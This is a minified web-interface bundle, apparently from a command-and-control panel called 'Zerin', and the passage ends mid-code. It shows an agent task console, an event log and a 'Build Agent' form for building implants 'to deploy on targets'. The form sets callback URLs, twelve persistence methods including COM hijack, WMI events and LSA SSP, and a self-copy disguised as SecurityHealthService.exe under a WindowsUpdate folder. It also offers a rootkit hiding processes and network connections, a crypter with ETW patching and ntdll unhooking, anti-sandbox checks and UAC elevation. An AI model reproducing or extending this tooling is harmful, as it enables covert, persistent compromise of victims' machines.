focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white
|
||
text-sm font-medium px-4 py-1.5
|
||
disabled:opacity-30 disabled:cursor-not-allowed
|
||
transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(Dj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>D(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:$=>$.stopPropagation(),children:[a.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim
|
||
hover:text-zerin-text text-sm transition-colors px-2 py-1
|
||
hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:`
|
||
px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px
|
||
${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"}
|
||
`,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Om({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const uS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},Wb={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},vV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function gV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await t6();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(gd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(Ub,{label:"All",active:i==="all",onClick:()=>s("all")}),vV.map(p=>a.jsx(Ub,{label:uS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&a.jsx("button",{onClick:()=>s("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),a.jsx("div",{children:d.map((p,h)=>a.jsx(yV,{event:p,expanded:o===p.id,onToggle:()=>l(o===p.id?null:p.id)},p.id||h))})]})]})}function yV({event:e,expanded:t,onToggle:n}){const r=Wb[e.severity]||Wb.info,i=e.details&&Object.keys(e.details).length>0;return a.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[a.jsx("div",{children:a.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:uS[e.type]||e.type})}),a.jsx("div",{className:"min-w-0",children:a.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:d_(e.timestamp)})})]}),t&&i&&a.jsx("div",{className:"px-4 pb-3",children:a.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[a.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),a.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([s,o])=>a.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[a.jsxs("span",{className:"text-zerin-text-muted",children:[s,":"]}),a.jsx("span",{className:"text-zerin-text",children:String(o)})]},s))})]})})]})}function Ub({label:e,active:t,onClick:n}){return a.jsx("button",{onClick:n,className:`
|
||
px-3 py-1 text-xs font-medium border transition-all duration-150
|
||
${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}
|
||
`,children:e})}const Vb="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function Hb(){return`agent-${Math.random().toString(16).slice(2,6)}`}const Kb=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],bV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function wV(){const{isAdmin:e}=ya(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(!1),[l,c]=m.useState(0),[u,d]=m.useState(0),[f,p]=m.useState(""),[h,x]=m.useState(""),g=m.useSyncExternalStore(Tj,Oj),y=g.status==="building",[v,b]=m.useState(Hb),[w,j]=m.useState([""]),[N,k]=m.useState("30"),[z,S]=m.useState("25"),[O,A]=m.useState(""),[T,P]=m.useState(Vb),[D,G]=m.useState(!1),[R,K]=m.useState("exe"),[_,M]=m.useState(0),[F,U]=m.useState(!0),[V,Z]=m.useState(!0),[ae,ue]=m.useState(!0),[be,ye]=m.useState(!0),[q,te]=m.useState(1),[C,Y]=m.useState("Microsoft\\WindowsUpdate"),[ne,B]=m.useState("SecurityHealthService.exe"),[le,we]=m.useState(null),Ne=m.useCallback(async()=>{try{const H=await i6();n(H)}catch{}finally{i(!1)}},[]);m.useEffect(()=>{Ne(),a6().then(H=>{j(se=>se.length===1&&se[0]===""?[H.default_callback_url]:se)}).catch(()=>{})},[Ne]),m.useEffect(()=>{if(!y||!g.startedAt){c(0),d(0);return}const H=setInterval(()=>{const W=Math.floor((Date.now()-g.startedAt)/1e3);d(W);const Q=Math.min(95,Math.floor(100*(1-Math.exp(-W/50))));c(Q)},500),se=Math.floor((Date.now()-g.startedAt)/1e3);return d(se),c(Math.min(95,Math.floor(100*(1-Math.exp(-se/50))))),()=>clearInterval(H)},[y,g.startedAt]),m.useEffect(()=>{y&&o(!0)},[]),m.useEffect(()=>{g.status==="success"?(x(`Payload "${g.payloadName}" built successfully`),o(!1),sy(),Ne()):g.status==="error"&&(p(g.error||"Failed to build payload"),sy())},[g.status]),m.useEffect(()=>{if(!h)return;const H=setTimeout(()=>x(""),4e3);return()=>clearTimeout(H)},[h]);function Ae(){b(Hb()),k("30"),S("25"),A(""),P(Vb),G(!1),K("exe"),M(0),U(!0),Z(!0),ue(!0),ye(!0),te(1),Y("Microsoft\\WindowsUpdate"),B("SecurityHealthService.exe")}async function $(H){H.preventDefault(),p("");const se=w.filter(he=>he.trim()!=="");let W=0;O&&(W=Math.floor(new Date(O).getTime()/1e3));const Q={name:v.trim(),callback_urls:se,sleep_interval:parseInt(N,10)||30,jitter_percent:parseInt(z,10)||25,kill_date:W,user_agent:T.trim(),output_format:R,debug:D,persist_methods:_||void 0,rootkit_enabled:F,encryption_enabled:V,anti_vm:ae,auto_elevate:be,install_dir:q,install_subdir:C,install_filename:ne};q6(Q.name);try{await r6(Q),X6(),Ae()}catch(he){he instanceof bi?ay(he.message):ay("Failed to build payload")}}async function fe(H){const se=st();if(!se){p("Not authenticated");return}try{const W=await fetch(`/api/payloads/${H.payload_id}/download`,{headers:{Authorization:`Bearer ${se}`}});if(!W.ok){p("Download failed");return}const Q=await W.blob(),he=URL.createObjectURL(Q),E=document.createElement("a");E.href=he;const ce=W.headers.get("content-disposition"),J=ce==null?void 0:ce.match(/filename="(.+?)"/);E.download=(J==null?void 0:J[1])||`${H.name||"payload"}.exe`,document.body.appendChild(E),E.click(),document.body.removeChild(E),URL.revokeObjectURL(he)}catch{p("Download failed")}}async function ve(H){try{await s6(H),we(null),Ne()}catch{p("Failed to delete payload")}}return a.jsxs("div",{className:"p-6",children:[a.jsxs("div",{className:"flex items-center justify-between mb-6",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),a.jsx("button",{onClick:()=>{o(!s),p("")},className:`
|
||
text-sm font-medium px-4 py-2 transition-all duration-150
|
||
${s?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"}
|
||
`,children:s?"Cancel":"+ Build Agent"})]}),h&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:h}),s&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),f&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:f}),a.jsxs("form",{onSubmit:$,className:"space-y-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[a.jsx(ir,{label:"Payload Name",children:a.jsx("input",{type:"text",value:v,onChange:H=>b(H.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200`})}),a.jsx(ir,{label:"Output Format",children:a.jsxs("select",{value:R,onChange:H=>{const se=H.target.value;K(se),se==="exe"&&M(W=>W&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-sans\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:"exe",children:"EXE"}),a.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),a.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[a.jsx(ir,{label:"Sleep Interval (seconds)",children:a.jsx("input",{type:"number",value:N,onChange:H=>k(H.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200\r
|
||
[appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),a.jsx(ir,{label:`Jitter (${z}%)`,children:a.jsx("input",{type:"range",value:z,onChange:H=>S(H.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r
|
||
[&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r
|
||
[&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r
|
||
[&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r
|
||
[&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),a.jsx(ir,{label:"Kill Date",children:a.jsx("input",{type:"datetime-local",value:O,onChange:H=>A(H.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-sans\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200\r
|
||
[color-scheme:dark]`})})]}),a.jsx(ir,{label:"User Agent",children:a.jsx("input",{type:"text",value:T,onChange:H=>P(H.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200`})}),e&&a.jsx(ir,{label:"Callback URLs",children:a.jsxs("div",{className:"space-y-2",children:[w.map((H,se)=>a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{type:"text",value:H,onChange:W=>{const Q=[...w];Q[se]=W.target.value,j(Q)},placeholder:"https://1.2.3.4:8443",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200`}),w.length>1&&a.jsx("button",{type:"button",onClick:()=>j(w.filter((W,Q)=>Q!==se)),className:"px-2 text-zerin-text-muted hover:text-zerin-danger transition-colors",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},se)),a.jsx("button",{type:"button",onClick:()=>j([...w,""]),className:"text-xs text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"+ Add URL"})]})}),a.jsx(ir,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:bV.map(H=>{const se=H.dllOnly&&R==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors
|
||
${se?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(_&H.flag)!==0,disabled:se,onChange:W=>{M(W.target.checked?_|H.flag:_&~H.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:H.label}),H.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),se&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},H.flag)})})}),a.jsx(ir,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:q,onChange:H=>te(parseInt(H.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-sans\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:C,onChange:H=>Y(H.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:ne,onChange:H=>B(H.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200`})]})]})}),a.jsxs(ir,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:F,onChange:H=>U(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:V,onChange:H=>Z(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1
|
||
${V?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:ae,disabled:!V,onChange:H=>ue(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:be,onChange:H=>ye(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>G(!D),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer
|
||
${D?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200
|
||
${D?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{o(!1),p("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:y,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r
|
||
px-5 py-2 transition-all duration-150\r
|
||
disabled:opacity-50 disabled:cursor-not-allowed\r
|
||
flex items-center gap-2`,children:[y&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),y?"Building...":"Build"]})]}),y&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(Kb.filter(H=>H.at<=l).pop()??Kb[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[u,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${l}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):t.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!s&&a.jsx("button",{onClick:()=>o(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:t.map(H=>{let se={};try{se=JSON.parse(H.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[a.jsx("div",{children:a.jsx("span",{className:"text-sm font-medium text-zerin-text",children:H.name})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.sleep_interval??"—","s"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.jitter_percent??"—","%"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:H.agent_pubkey,children:[(H.agent_pubkey??"").slice(0,16),"..."]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-dim",children:H.built_by})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:Lo(H.built_at)})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:Mp(H.file_size)})}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>fe(H),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 